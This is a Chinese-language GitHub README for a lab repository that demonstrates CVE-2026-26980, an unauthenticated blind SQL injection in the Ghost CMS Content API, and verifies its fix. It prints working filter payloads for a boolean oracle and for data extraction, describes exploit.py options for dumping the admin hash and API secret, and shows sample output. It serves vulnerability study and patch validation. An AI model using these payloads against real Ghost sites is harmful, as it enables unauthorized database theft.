dinosn/ghost-cve-2026-26980
GitHub: dinosn/ghost-cve-2026-26980
演示 Ghost CMS 内容 API 的无认证盲 SQL 注入漏洞及其修复验证的实验项目。
Stars: 0 | Forks: 0
# CVE-2026-26980 — Ghost CMS 内容 API SQL 注入实验
通过 Ghost CMS 内容 API 的 slug 过滤排序机制实现无认证盲 SQL 注入,无需凭证即可从任意 Ghost 实例读取数据库。
| | |
|---|---|
| **CVE** | [CVE-2026-26980](https://nvd.nist.gov/vuln/detail/CVE-2026-26980) |
| **Advisory** | [GHSA-w52v-v783-gw97](https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97) |
| **CVSS** | 9.4 (严重) |
| **CWE** | CWE-89 (SQL 注入) |
| **受影响版本** | Ghost 3.24.0 -- 6.19.0 |
| **已修复** | Ghost 6.19.1 |
| **认证要求** | 无(内容 API 密钥默认公开) |
| **贡献者** | 使用 Claude、Anthropic 的 Nicholas Carlini |
## 概述
Ghost 的内容 API 支持使用数组表示法按 slug 过滤标签和文章:`filter=slug:[tag-a,tag-b]`。内部辅助函数会构建 `ORDER BY CASE` 语句以保持请求的 slug 顺序。在 v6.19.1 之前,用户提供的 slug 值会直接插值到 SQL 中而未进行参数化:
```
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABLE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
```
内容 API 密钥嵌入每个 Ghost 站点的 HTML(`data-key="..."`)中,使其成为完全的无认证攻击面。
## 漏洞机制
### NQL 绕过
Ghost 的 NQL 查询语言会验证过滤输入并拒绝原始单引号或空格。然而,NQL 接受用单引号包裹的值(`slug:['value']`),并将引号作为字面量的一部分传递。`slugFilterOrder` 正则表达式提取这些值(包括引号)并将其插值到 SQL 中:
```
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL passes quotes through as literal chars
```
### 生成的 SQL
插值后,ORDER BY 变为:
```
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
```
在 MySQL 的默认 SQL 模式下,`||` 表示 `OR`,`''` 为假值。这为我们提供了一个清晰的布尔型盲注:
| 条件 | CASE 结果 | 效果 |
|---|---|---|
| TRUE | `'' OR 0 OR ''` = 0 | 正常响应(HTTP 200) |
| FALSE | `'' OR EXP(710) OR ''` | DOUBLE 溢出错误(HTTP 500) |
### 数据提取
建立盲注后,可使用标准的二分搜索盲注提取数据:
```
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
```
`SUBSTR(... FROM pos FOR len)` 语法避免了逗号(因为 `slugFilterOrder` 按逗号分割)。
## 修复(v6.19.1)
修复方案将字符串插值替换为参数化绑定:
```
// FIXED
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
```
`crud.js` 插件已更新以通过 `orderByRaw` 传递绑定参数,并且 `@tryghost/bookshelf-plugins` 已升级到 0.6.29,该版本增加了绑定支持。
## 实验环境搭建
### 先决条件
- Docker & Docker Compose
- Python 3.8+ 及 `requests`
### 快速启动
```
# 克隆并进入实验环境
git clone && cd ghost-cve-2026-26980
# 安装 Python 依赖
pip install -r requirements.txt
# 启动易受攻击的 Ghost 实例(6.18.0 + MySQL 8)
docker compose up -d
# 等待约 45 秒让 Ghost 初始化,然后运行利用程序
python3 exploit.py --url http://localhost:2368
```
### 验证修复
```
# 同时在端口 2369 上启动已修补的 Ghost 6.19.1
docker compose --profile fixed up -d
# 等待约 45 秒,然后确认修复阻止了注入
python3 exploit.py --url http://localhost:2369 --validate-fix
```
### 一键验证
```
bash validate.sh
```
### 清理
```
docker compose --profile fixed down -v
```
## 利用示例
```
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL Ghost URL (default: http://localhost:2368)
--validate-fix Confirm the target is NOT vulnerable
--extract-password Also extract admin bcrypt hash
--extract-api-key Also extract admin API secret
--content-key KEY Skip setup, use this Content API key directly
-v, --verbose Show per-query oracle results
```
### 示例输出
```
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================
[*] Waiting for Ghost at http://localhost:2368 ready
[*] Setting up Ghost (admin: admin@ghost-poc.local)
[+] Setup complete — establishing session
[+] Logged in
[+] Content API key: ad63c06a71457583ea58f050c1
[+] Anchor slug: news
[*] Phase 1 — boolean blind verification
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] Boolean oracle confirmed — VULNERABLE
[*] Phase 2a — extracting admin email
Measuring length of admin email... 21 chars
Extracting: admin@ghost-poc.local
[+] Email: admin@ghost-poc.local
============================================================
EXPLOITATION SUMMARY
============================================================
Target: http://localhost:2368
CVE: CVE-2026-26980
Content key: ad63c06a71457583ea58f050c1
Admin email: admin@ghost-poc.local
============================================================
```
## v6.19.1 同时修复:CVE-2026-29053(主题 RCE)
同一版本中还修复了第二个漏洞。Ghost 的 `{{#get}}` Handlebars 辅助函数使用依赖 `static-eval` 的 `jsonpath` 包解析路径表达式。恶意主题可通过表达式触发 `Function()`,实现服务器端代码执行。
| | |
|---|---|
| **CVE** | CVE-2026-29053 |
| **受影响版本** | Ghost 0.7.2 -- 6.19.0 |
| **认证要求** | 管理员(主题上传) |
| **修复方式** | 将 `jsonpath` 替换为仅支持点表示法、`[N]` 和 `[*]` 的受限 `querySimplePath()` 函数 |
本实验聚焦于 CVE-2026-26980,因为它无需认证且对外部攻击者影响更大。
## 文件
```
.
├── README.md # This file
├── docker-compose.yml # Ghost 6.18.0 (vuln) + 6.19.1 (fixed) with MySQL 8
├── exploit.py # Full PoC: setup, verify, extract
├── validate.sh # End-to-end validation wrapper
└── requirements.txt # Python dependencies
```
## 参考
- [Ghost 安全公告 GHSA-w52v-v783-gw97](https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97)
- [NVD 条目 CVE-2026-26980](https://nvd.nist.gov/vuln/detail/CVE-2026-26980)
- [修复提交:内容 API slug 过滤排序中的 SQL 注入](https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91)
- [修复提交:替换 jsonpath 为自定义路径解析器](https://github.com/TryGhost/Ghost/commit/cf31ddfbecc600448578765e1d4f4ae8f1442ade)
- [CVE-2026-29053 撰写(Hidden Investigations)](https://hiddeninvestigations.net/blog/remote-code-execution-in-ghost-cms-cve-2026-29053-when-a-theme-becomes-a-server-side-execution-primitive)
## 许可证
本实验在 MIT 许可证下提供,仅用于教育和授权的安全测试。
标签:API安全, CISA项目, CVE-2026-26980, Ghost CMS, JSON输出, NQL绕过, ORDER BY CASE, slug过滤, Web安全, 内容API, 安全测试, 攻击性安全, 数据库读取, 无线安全, 无认证攻击, 未参数化插值, 漏洞分析, 盲注, 网络安全审计, 蓝队分析, 请求拦截, 路径探测, 逆向工具